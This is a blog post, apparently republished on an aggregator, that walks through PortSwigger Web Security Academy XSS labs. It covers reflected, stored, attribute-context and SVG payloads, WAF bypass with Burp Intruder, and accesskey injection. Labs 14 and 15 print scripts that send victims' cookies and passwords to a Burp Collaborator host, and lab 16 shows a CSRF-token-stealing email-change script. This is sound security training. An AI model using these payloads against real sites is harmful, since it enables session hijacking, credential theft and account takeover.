BP靶场portswigger-客户端11跨站点脚本XSS-20个实验(上)

Posted 黑色地带(崛起)

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了BP靶场portswigger-客户端11跨站点脚本XSS-20个实验(上)相关的知识,希望对你有一定的参考价值。

  

前言:

介绍: 

博主:网络安全领域狂热爱好者(承诺在CSDN永久无偿分享文章)。

殊荣:CSDN网络安全领域优质创作者,2022年双十一业务安全保卫战-某厂第一名,某厂特邀数字业务安全研究员,edusrc高白帽,vulfocus、攻防世界等平台排名100+、高校漏洞证书、cnvd原创漏洞证书等。

擅长:对于技术、工具、漏洞原理、黑产打击的研究。

C站缘:C站的前辈,引领我度过了一个又一个技术的瓶颈期、迷茫期。


导读:

面向读者:对于网络安全方面的学者。 

本文知识点(读者自测): 

(1)html标记之间的XSS(√)

(2)HTML标记属性中的XSS(√)

(3)从其他数据库表中检索数据(√)

(4)客户端模板注入(√)


目录

一、跨站点脚本(XSS)

1、简述:

2、原理:

3、XSS验证

3、XSS攻击类型

二、反射XSS

1、简述:

2、示例:

3、涉及实验:

        实验1:将XSS反射到HTML上下文中,不进行任何编码

4、反射的XSS攻击的影响

        实验14:利用跨站点脚本窃取Cookie

        实验15:利用跨站点脚本来捕获密码

        实验16:利用XSS实现CSRF

三、不同上下文中的反射XSS

1、简述:

2、HTML标记之间的XSS

        实验2:将XSS存储到HTML上下文中,不进行任何编码

        实验17:将XSS反射到HTML上下文中,大多数标记和属性被阻止

        实验18:将XSS反射到HTML上下文中,除自定义标记外,所有标记都被阻止

        实验25:具有事件处理程序和 href 已阻止属性

        实验19:允许使用一些SVG标记的反射XSS

3、HTML标记属性中的XSS

        实验7:将XSS反射到带尖括号的HTML编码属性中

        实验8:将XSS存储到锚中 href 带双引号的属性HTML编码

        实验20:规范链接标记中反射的XSS

4、终止现有脚本

        实验21:将XSS反射到JavaScript字符串中,并使用单引号和反斜杠进行转义

        实验9:将XSS反射到带有尖括号的JavaScript字符串HTML编码

        实验22:将XSS反射到JavaScript字符串中,使用尖括号和双引号HTML编码并转义单引号

        实验26:JavaScript URL中反射的XSS,其中一些字符被阻止

        实验23:将XSS存储到onclick事件中,使用尖括号和双引号HTML编码,使用单引号和反斜杠转义

        实验24:将XSS反射到模板文本中,带有尖括号、单引号、双引号、反斜杠和反记号

四、客户端模板注入

1、简述:

 2、AngularJS沙盒

        实验27:反射的XSS,带AngularJS沙箱转义,不带字符串

 3、AngularJS CSP旁路

         实验28:反射XSS与AngularJS沙箱转义和CSP


一、跨站点脚本(XSS)

1、简述:

1、跨站点脚本(也称为XSS)是一个Web安全漏洞,使得攻击者能够破坏用户与易受攻击的应用程序的交互。它允许攻击者绕过同源策略,该策略旨在将不同的网站彼此隔离。跨站点脚本漏洞通常允许攻击者伪装成受害用户,执行用户能够执行的任何操作,以及访问用户的任何数据。如果受害用户拥有应用程序内的特权访问权限,则攻击者可能能够完全控制应用程序的所有功能和数据 
 


2、原理:

操纵易受攻击的网站,以便向用户返回恶意javascript。当恶意代码在受害者的浏览器中执行时,攻击者可以完全破坏其与应用程序的交互

3、XSS验证

1、通过注入一个有效负载来确认大多数类型的XSS漏洞,该有效负载会导致浏览器执行某些任意JavaScript。使用alert()函数,因为它简短、无害,并且在成功调用时很难错过。实际上,大多数XSS实验都是通过调用alert()在模拟受害者的浏览器


2、如果使用Chrome的话,会有一个问题。从2021年7月开始,跨源iframe被禁止调用alert()。由于这些用于构造一些更高级的XSS攻击,因此有时需要使用替代PoC有效负载。在这种情况下,建议使用print()函数

3、XSS攻击类型

主要有三种类型:

    1、反射的XSS,其中恶意脚本来自当前HTTP请求。
    2、存储XSS,其中恶意脚本来自网站的数据库。
    3、基于DOM的XSS,其中漏洞存在于客户端代码而不是服务器端代码中。



二、反射XSS

1、简述:

当应用程序接收HTTP请求中的数据并以不安全的方式将该数据包含在即时响应中时,就会出现反射的跨站点脚本(或XSS)


2、示例:

1、(插入框)网站具有搜索功能,该功能接收用户在URL参数中提供的搜索项:
https://insecure-website.com/search?term=gift

2、(回显功能)应用产品在对此URL的响应中回显提供的搜索词:
<p>You searched for: gift</p>

3、(数据处理不严谨/可绕过)假设应用程序不执行任何其他数据处理,攻击者可以构建如下攻击:
https://insecure-website.com/search?term=<script>/*+Bad+stuff+here...+*/</script>

4、(反射XSS)此URL将导致以下响应:
<p>You searched for: <script>/* Bad stuff here... */</script></p>
如果应用程序的另一个用户请求攻击者的URL,则攻击者提供的脚本将在受害用户的浏览器中,在他们与应用程序的会话上下文中执行

3、涉及实验:

实验1:将XSS反射到HTML上下文中,不进行任何编码

实验1:将XSS反射到HTML上下文中,不进行任何编码

信息:

本实验包含搜索功能中的一个简单反映的跨站点脚本漏洞。

完成实验:执行调用alert函数的跨站点脚本攻击。


part1:

(自己储备好各种XSS的payload)

见框就插(有时候可能会在数据包里面插)

<script>alert(1)</script>

 

4、反射的XSS攻击的影响

1、如果攻击者可以控制在受害者浏览器中执行的脚本,则通常可以完全危害该用户。

攻击者可以:
    1、在应用程序中执行用户可以执行的任何操作。
    2、查看用户能够查看的任何信息。
    3、修改用户能够修改的任何信息。
    4、发起与其他应用程序用户的交互,包括恶意攻击,这些攻击看起来似乎来自最初的受害者用户。

2、攻击者可以通过各种方式诱使受害用户发出他们控制的请求,从而传递反射的XSS攻击。这包括在攻击者控制的网站或允许生成内容的其他网站上放置链接,或者通过电子邮件、推文或其他消息发送链接。攻击可能直接针对已知用户,也可能不加区别地攻击应用程序的任何用户


3、攻击需要外部传递机制,这意味着反射的XSS的影响通常没有存储的XSS严重,存储的XSS可以在易受攻击的应用程序本身内传递自包含攻击。 


4、利用跨站点脚本窃取Cookie

窃取cookie是利用XSS的传统方式。大多数Web应用程序使用Cookie进行会话处理。可以利用跨站点脚本漏洞将受害者的Cookie发送到您自己的域,然后手动将Cookie注入浏览器并模拟受害者。

在实践中,这种方法有一些明显的局限性:
    1、受害者可能没有登录。
    2、许多应用程序使用 仅HttpOnly旗帜。
    3、会话可能会被锁定到其他因素,如用户的IP地址。
    4、会话可能会在您能够劫持它之前超时

涉及实验:
实验14:利用跨站点脚本窃取Cookie


5、利用跨站点脚本来捕获密码

————

(1)许多用户都有自动填充密码的密码管理器。可以通过创建密码输入、阅读自动填充的密码并将其发送到我们的域来利用这一点。此技术避免了与窃取Cookie相关的大多数问题,甚至可以访问受害者重用相同密码的所有其他帐户。

————

(2)这种技术的主要缺点是,它只适用于拥有执行密码自动填充的密码管理器的用户。(如果用户没有保存密码,仍然可以尝试通过现场网络钓鱼攻击获取其密码) 

————

涉及实验:
实验15:利用跨站点脚本来捕获密码


6、利用跨站点脚本执行CSRF

————

1、根据目标网站,可能会让受害者发送消息,接受好友请求,提交一个后门到源代码库,或转移一些比特币。

————

2、某些网站允许登录用户更改其电子邮件地址,而无需重新输入密码。如果发现了XSS漏洞,可以让它触发此功能,将受害者的电子邮件地址更改为能控制的地址,然后触发密码重置以获得对帐户的访问权限

————

3、这种类型的利用通常称为跨站点请求伪造(CSRF),这有点令人困惑,因为CSRF也可能作为独立漏洞出现。当CSRF作为独立漏洞出现时,可以使用诸如反CSRF令牌之类的策略对其进行修补。但如果同时存在XSS漏洞,这些策略将不提供任何保护。 

————

涉及实验:
实验16:利用XSS实现CSRF

实验14:利用跨站点脚本窃取Cookie

信息:

本实验在博客评论函数中包含一个已存储的XSS漏洞。模拟的受害者用户查看所有发表的评论

解决实验:利用此漏洞来泄漏受害者的会话cookie,然后使用此cookie来模拟受害者


part1:

使用Burp Suite Professional,转到Collaborator选项卡。
单击“复制到剪贴板”将唯一的Burp Collaborator有效负载复制到剪贴板

jg3vbb0cmdrxsi0uyp9h9lc47vdl1a.burpcollaborator.net


part2:

插入XSS

在博客评论中提交以下有效负载,在指定位置插入您的Burp Collaborator子域:

<script>
fetch('https://BURP-COLLABORATOR-SUBDOMAIN', 
method: 'POST',
mode: 'no-cors',
body:document.cookie
);
</script>


我的是:
<script>
fetch('https://jg3vbb0cmdrxsi0uyp9h9lc47vdl1a.burpcollaborator.net', 
method: 'POST',
mode: 'no-cors',
body:document.cookie
);
</script>

此脚本将使查看评论的任何人向公共Collaborator服务器上的您的子域发出包含其cookie的POST请求


 


part3:

查看信息

点击刷新,看到HTTP交互
记下POST主体中受害者cookie的值

session=9Npstu0CedDyYYZvFUNgA0okHLfpWyYB


part4:

解决实验

重新加载主博客页面,使用Burp Proxy或Burp Repeater将会话cookie替换为在Burp Collaborator中捕获的cookie

其实正常情况下,修改某个数据,可能就要一路修改下去

 

实验15:利用跨站点脚本来捕获密码

信息:

本实验在博客评论函数中包含一个已存储的XSS漏洞。模拟的受害者用户查看所有发表的评论

解决实验:利用此漏洞来窃取受害者的用户名和密码,然后使用这些凭据登录到受害者的帐户。


part1:

使用Burp Suite Professional,转到Collaborator选项卡。
单击"复制到剪贴板"将唯一的Burp Collaborator有效负载复制到剪贴板

qqkybew56kd84w6ny0l6yjhpfgl69v.burpcollaborator.net


part2:

插入XSS

在博客评论中提交以下有效负载(在指定位置插入您的Burp Collaborator子域)

<input name=username id=username>
<input type=password name=password onchange="if(this.value.length)fetch('https://BURP-COLLABORATOR-SUBDOMAIN',
method:'POST',
mode: 'no-cors',
body:username.value+':'+this.value
);">

我的是:
<input name=username id=username>
<input type=password name=password onchange="if(this.value.length)fetch('https://qqkybew56kd84w6ny0l6yjhpfgl69v.burpcollaborator.net',
method:'POST',
mode: 'no-cors',
body:username.value+':'+this.value
);">

此脚本将使查看评论的任何人向公共Collaborator服务器的子域发出包含其用户名和密码的POST请求


part3:

返回Collaborator选项卡,然后刷新,看到HTTP交互
记下POST主体中受害者的用户名和密码的值。

administrator:9yl3ow6km9ix24rkz7mk


part4:

解决实验

进行登陆操作

 登陆成功完成实验

实验16:利用XSS实现CSRF

信息:

本实验在博客评论函数中包含一个已存储的XSS漏洞。要解决此实验问题,请利用此漏洞执行CSRF攻击,并更改查看博客帖子评论的用户的电子邮件地址。

已有账号:wiener:peter


part1:

登陆已有账号测试功能

在HTTP历史记录中找到数据包


part2:

构造XSS

攻击需要加载用户帐户页面,提取CSRF令牌,然后使用该令牌更改受害者的电子邮件地址

<script>
var req = new XMLHttpRequest();
req.onload = handleResponse;
req.open('get','/my-account',true);
req.send();
function handleResponse() 
    var token = this.responseText.match(/name="csrf" value="(\\w+)"/)[1];
    var changeReq = new XMLHttpRequest();
    changeReq.open('post', '/my-account/change-email', true);
    changeReq.send('csrf='+token+'&email=test@test.com')
;
</script>


part3:

插入XSS

在博客评论中提交payload

这将使任何查看评论的人发出POST请求,将其电子邮件地址更改为test@test.com



三、不同上下文中的反射XSS

1、简述:

1、反射数据在应用程序响应中的位置、任何验证或其他处理决定了利用它所需的有效负载类型,并且还可能影响漏洞的影响。


2、当测试 反射 和 存储 的XSS时,一个关键任务是识别XSS上下文:

    1、响应中出现攻击者可控制数据的位置。
    2、应用程序对该数据执行的任何输入验证或其他处理。

2、HTML标记之间的XSS

当XSS上下文是HTML标记之间的文本时,需要引入一些新的HTML标记来触发JavaScript的执行。

执行JavaScript的一些有用方法包括:
<script>alert(document.domain)</script>
<img src=1 onerror=alert(1)>

涉及实验:
实验1:将XSS反射到HTML上下文中,不进行任何编码(前文已解决)
实验2:将XSS存储到HTML上下文中,不进行任何编码
实验17:将XSS反射到HTML上下文中,大多数标记和属性被阻止
实验18:将XSS反射到HTML上下文中,除自定义标记外,所有标记都被阻止
实验25:具有事件处理程序和 href 已阻止属性
实验19:允许使用一些SVG标记的反射XSS

实验2:将XSS存储到HTML上下文中,不进行任何编码

信息:

本实验的评论功能中存在一个已存储的跨站点脚本漏洞。

要完成此实验,请提交一条评论,以便在查看博客帖子时调用alert函数


part1:

(自己储备好各种XSS的payload)

见框就插(有时候可能会在数据包里面插)

<script>alert(1)</script>

返回评论区会弹窗

实验17:将XSS反射到HTML上下文中,大多数标记和属性被阻止

信息:

1、本实验在搜索功能中包含一个反映的XSS漏洞,但使用Web应用程序防火墙(WAF)来防范常见的XSS向量。

2、解决实验:执行跨站点脚本攻击,绕过WAF并调用print()函数

3、访问XSS备忘单并单击复制保存(测试过滤器的时候用的Cross-Site Scripting (XSS) Cheat Sheet - 2022 Edition | Web Security Academy


part1:

注入标准XSSpayload

<img src=1 onerror=print()>

 发现失败


part2:

分析数据包,并发送到Burp Intruder

在Burp Intruder中的位置选项卡中,单击"清除§"。将搜索项的值替换为:<>
将光标放在尖括号之间,点击"Add §"(添加§)两次,创建有效载荷位置。搜索项的值现在应如下所示:<§§>

 测试哪些标记和属性被阻止

 (Cross-Site Scripting (XSS) Cheat Sheet - 2022 Edition | Web Security Academy

访问XSS 备忘单并单击“Copy tags to clipboard”


在Burp Intruder的"有效负载"选项卡中,单击"粘贴"将标记列表粘贴到有效负载列表中。单击"开始攻击"。

 攻击完成后,查看结果,所有有效负载都导致HTTP 400响应,但body有效负载除外,它导致200响应


part3:

返回Burp Intruder中的Positions选项卡,将搜索词替换为:

<body%20=1>

将光标放在=字符前,点击"Add §"两次,创建有效载荷位置

<body%20§§=1>

 

访问XSS 备忘单并单击“Copy events to clipboard”

Cross-Site Scripting (XSS) Cheat Sheet - 2022 Edition | Web Security Academy

 在Burp Intruder的"有效负载"选项卡中,单击"清除"以删除以前的有效负载。然后单击"粘贴"将属性列表粘贴到有效负载列表中。单击"开始攻击"。

攻击完成后,查看结果。请注意,所有有效负载都会导致HTTP 400响应,只有3个负载导致200响应

payload:
"><body onresize=print()>
URL编码后:
%22%3E%3Cbody%20onresize=print()%3E


part4:

这里使用onresize负载

转到漏洞利用服务器并粘贴以下代码,将YOUR-LAB-ID替换为自己实验室ID:

(千万别填错了)

<iframe src="https://YOUR-LAB-ID.web-security-academy.net/?search=%22%3E%3Cbody%20onresize=print()%3E" onload=this.style.width='100px'>

我的是:
<iframe src="https://0ae800840376b1b2c158a3ec00860058.web-security-academy.net/?search=%22%3E%3Cbody%20onresize=print()%3E" onload=this.style.width='100px'>

顺序单击"存储"和"向受害者发送利用漏洞攻击"

 

 点击view exploit可以看到print效果

实验18:将XSS反射到HTML上下文中,除自定义标记外,所有标记都被阻止

信息:

本实验阻止除自定义标记外的所有HTML标记。

解决实验:执行跨站点脚本攻击,注入自定义标记并自动向document.cookie发出警报


part1:

转到漏洞利用服务器

payload:

payload:
<xss id=x onfocus=alert(document.cookie) tabindex=1>
此注入创建一个ID为x的自定义标记,其中包含一个触发alert函数的onfocus事件处理程序。页面加载后,URL末尾的散列将立即关注此元素,从而导致调用alert负载。

url编码:
%3Cxss+id%3Dx+onfocus%3Dalert%28document.cookie%29%20tabindex=1%3E

并粘贴以下代码,将YOUR-LAB-ID替换为自己实验室ID:

<script>
location = 'https://YOUR-LAB-ID.web-security-academy.net/?search=%3Cxss+id%3Dx+onfocus%3Dalert%28document.cookie%29%20tabindex=1%3E#x';
</script>

我的是:
<script>
location = 'https://0ad40062044c7721c68463dc008d00f3.web-security-academy.net//?search=%3Cxss+id%3Dx+onfocus%3Dalert%28document.cookie%29%20tabindex=1%3E#x';
</script>

单击“存储”和“向受害者发送利用漏洞攻击”

(View exploit可以查看)

 

实验25:具有事件处理程序和 href 已阻止属性

信息:

本实验包含一个带有白名单标记的反射XSS漏洞,但所有事件和锚点href属性都被阻止。

要解决实验问题,请执行跨站点脚本攻击,该攻击注入一个向量,单击该向量会调用alert 函数。

需要用单词"Click"标记向量,以便引导模拟实验室用户单击向量。例如:<a href="">Click me</a>


part1:

将编码后的payload标签插入到页面中

payload:
%3Csvg%3E%3Ca%3E%3Canimate+attributeName%3Dhref+values%3Djavascript%3Aalert(1)+%2F%3E%3Ctext+x%3D20+y%3D20%3EClick%20me%3C%2Ftext%3E%3C%2Fa%3E

URL编码后:
<svg><a><animate+attributeName=href+values=javascript:alert(1)+/><text+x=20+y=20>Click me</text></a>

访问以下URL(将YOUR-LAB-ID替换为自己的实验室ID)

https://YOUR-LAB-ID.web-security-academy.net/?search=%3Csvg%3E%3Ca%3E%3Canimate+attributeName%3Dhref+values%3Djavascript%3Aalert(1)+%2F%3E%3Ctext+x%3D20+y%3D20%3EClick%20me%3C%2Ftext%3E%3C%2Fa%3E

我的是:
https://0a710019043e9406c0f8452600a40018.web-security-academy.net/?search=%3Csvg%3E%3Ca%3E%3Canimate+attributeName%3Dhref+values%3Djavascript%3Aalert(1)+%2F%3E%3Ctext+x%3D20+y%3D20%3EClick%20me%3C%2Ftext%3E%3C%2Fa%3E

实验19:允许使用一些SVG标记的反射XSS

信息:

本实验有一个简单的反射XSS漏洞。该站点阻止了常见标记,但遗漏了一些SVG标记和事件。

要完成实验,请执行调用alert()函数的跨站点脚本攻击。


part1:

输入框插入标准XSSpayload

<img src=1 onerror=alert(1)>

发现失败,被拦截


part2:

分析数据包,并发送到Burp Intruder

在Burp Intruder中的位置选项卡中,单击"清除§"。将搜索项的值替换为:<>
将光标放在尖括号之间,点击"Add §"(添加§)两次,创建有效载荷位置。搜索项的值现在应如下所示:<§§>

 测试哪些标记和属性被阻止

 (Cross-Site Scripting (XSS) Cheat Sheet - 2022 Edition | Web Security Academy

访问XSS 备忘单并单击“Copy tags to clipboard”


在Burp Intruder的"有效负载"选项卡中,单击"粘贴"将标记列表粘贴到有效负载列表中。单击"开始攻击"。

 攻击完成后,查看结果,所有有效负载都导致HTTP 400响应,但<svg>,  <animatetransform>,  <title>、<image>有效负载除外,它导致200响应


part3:

返回Burp Intruder中的Positions选项卡,将搜索词替换为:

<svg><animatetransform%20=1>

将光标放在=字符前,点击"Add §"两次,创建有效载荷位置

<svg><animatetransform%20§§=1>

 

访问XSS 备忘单并单击“Copy events to clipboard”

Cross-Site Scripting (XSS) Cheat Sheet - 2022 Edition | Web Security Academy

 在Burp Intruder的"有效负载"选项卡中,单击"清除"以删除以前的有效负载。然后单击"粘贴"将属性列表粘贴到有效负载列表中。单击"开始攻击"。

攻击完成后,查看结果。除了onbegin有效负载导致200响应之外,所有有效负载都导致HTTP 400响应。

payload:
"><svg><animatetransform onbegin=alert(1)>

URL编码后:
%22%3E%3Csvg%3E%3Canimatetransform%20onbegin=alert(1)%3E

 part4:

在浏览器中访问以下URL,确认已调用alert()函数且实验已解决:

(将YOUR-LAB-ID替换为自己实验室ID)

https://YOUR-LAB-ID.web-security-academy.net/?search=%22%3E%3Csvg%3E%3Canimatetransform%20onbegin=alert(1)%3E

我的是:
https://0a7400d80446bb60c2e925bb00a80098.web-security-academy.net/?search=%22%3E%3Csvg%3E%3Canimatetransform%20onbegin=alert(1)%3E

3、HTML标记属性中的XSS

1、当XSS上下文进入HTML标记属性值时,有时可以终止属性值,关闭标记,并引入一个新的标记。

例如:
"><script>alert(document.domain)</script>

更常见的是尖括号被阻塞或编码,因此输入无法脱离它所在的标记。如果可以终止属性值,通常可以引入一个新属性来创建可编写脚本的上下文,如事件处理程序。

例如:
" autofocus onfocus=alert(document.domain) x="

上面的有效负载创建了一个onfocus事件,当元素接收到焦点时,该事件将执行JavaScript,并且还添加了autofocus属性,以尝试自动触发onfocus事件,而无需任何用户交互。最后,它添加了x=”,以适当地修复以下标记

涉及实验:

实验7:将XSS反射到带尖括号的HTML编码属性中


2、有时候XSS上下文是一种HTML标记属性,它本身可以创建一个脚本上下文。在这里可以执行JavaScript而无需终止属性值。

例如,如果XSS上下文位于href属性,则可以使用 javascript语言执行脚本的伪协议:
<a href="javascript:alert(document.domain)">

涉及实验:
实验8:将XSS存储到锚中 href 带双引号的属性HTML编码


3、可能一些网站对尖括号进行编码,但仍然允许注入属性。有时即使在通常不会自动触发事件的标记(如规范标记)中,这些注入也是可能的。可以使用access keys和Chrome上的用户交互来利用此行为。

access keys允许提供引用特定元素的键盘快捷键。该accesskey属性允许您定义一个字母,当该字母与其他键(这些键在不同的平台上会有所不同)一起按下时,将引发事件

涉及实验:

实验20:规范链接标记中反射的XSS

实验7:将XSS反射到带尖括号的HTML编码属性中

信息:

此实验包含搜索博客功能中的一个反映的跨站点脚本漏洞,其中尖括号是HTML编码的。要完成此实验,请执行跨站点脚本攻击,注入属性并调用alert函数。


part1:

在搜索框中提交一个随机的字母数字字符串,然后使用Burp Suite拦截搜索请求并将其发送到Burp Repeater


观察到随机字符串已反映在带引号的属性中


part2:

将输入替换为以下负载以转义带引号的属性并注入事件处理程序:
 

"onmouseover="alert(1)

 当鼠标移动到注入的元素上时,应该会触发弹窗

实验8:将XSS存储到锚中 href 带双引号的属性HTML编码

信息:

本实验的评论功能中存在一个已存储的跨站点脚本漏洞

完成实验:提交一条评论,当评论作者姓名被单击时,该评论将调用alert函数


part1:

在"网站"输入中使用随机字母数字字符串发布评论,然后使用Burp Suite拦截请求并将其发送到Burp Repeater

 

在website中加上字符串后

第二个Repeater选项卡中的随机字符串已反映在href属性中

(各处的输入的数据都是随便填的,为都是查看每个标签的属性)


part2:

将输入替换为以下有效负载,以注入调用alert的JavaScript URL:

payload:
&website=javascript:alert(1)

点击即可弹窗

实验20:规范链接标记中反射的XSS

信息:

本实验将用户输入反映在规范的链接标记中,并转义尖括号。

完成实验:对主页执行跨站点脚本攻击,注入调用alert函数的属性

为了帮助利用漏洞,可以假设模拟用户将按下以下组合键:

    Alt + Shift + X
    CTRL + ALT + X
    Alt + X


part1:

访问以下URL,将YOUR-LAB-ID替换为您的实验室ID:

https://YOUR-LAB-ID.web-security-academy.net/?%27accesskey=%27x%27onclick=%27alert(1)

我的是:
https://0ab1009604362b74c0215423009400cf.web-security-academy.net/?%27accesskey=%27x%27onclick=%27alert(1)

这将X键设置为整个页面的访问键。当用户按下访问键时,将调用alert函数


part2:

触发弹窗

要在自己身上触发漏洞利用,请按以下组合键之一:

    在Windows上:ALT + SHIFT + X
    在Mac操作系统上:CTRL + ALT + X
    在Linux上:Alt + X

4、终止现有脚本

1、在最简单的情况下,可以简单地关闭包含现有JavaScript的script标记,并引入一些新的HTML标记来触发JavaScript的执行。

例如,XSS上下文如下:
<script>
...
var input = 'controllable data here';
...
</script>

可以使用以下有效负载打破现有JavaScript并执行您自己的JavaScript:
</script><img src=1 onerror=alert(document.domain)>

因为浏览器首先执行HTML解析以识别包含脚本块的页面元素,然后才执行JavaScript解析以理解和执行嵌入的脚本。上面的负载使原始脚本损坏,并带有未终止的字符串文字。但这并不妨碍后续脚本以正常方式解析和执行以上是关于BP靶场portswigger-客户端11跨站点脚本XSS-20个实验(上)的主要内容,如果未能解决你的问题,请参考以下文章

BP靶场portswigger-客户端13跨来源资源共享(CORS)-4个实验(全)

BP靶场portswigger-服务端7访问控制漏洞和权限提升-11个实验(全)

BP靶场portswigger-服务端3目录遍历漏洞-6个实验(全)

portswigger靶场SQL注入实验(下)

PortSwigger 跨站点脚本(XSS)

burpsuite靶场SQL注入总结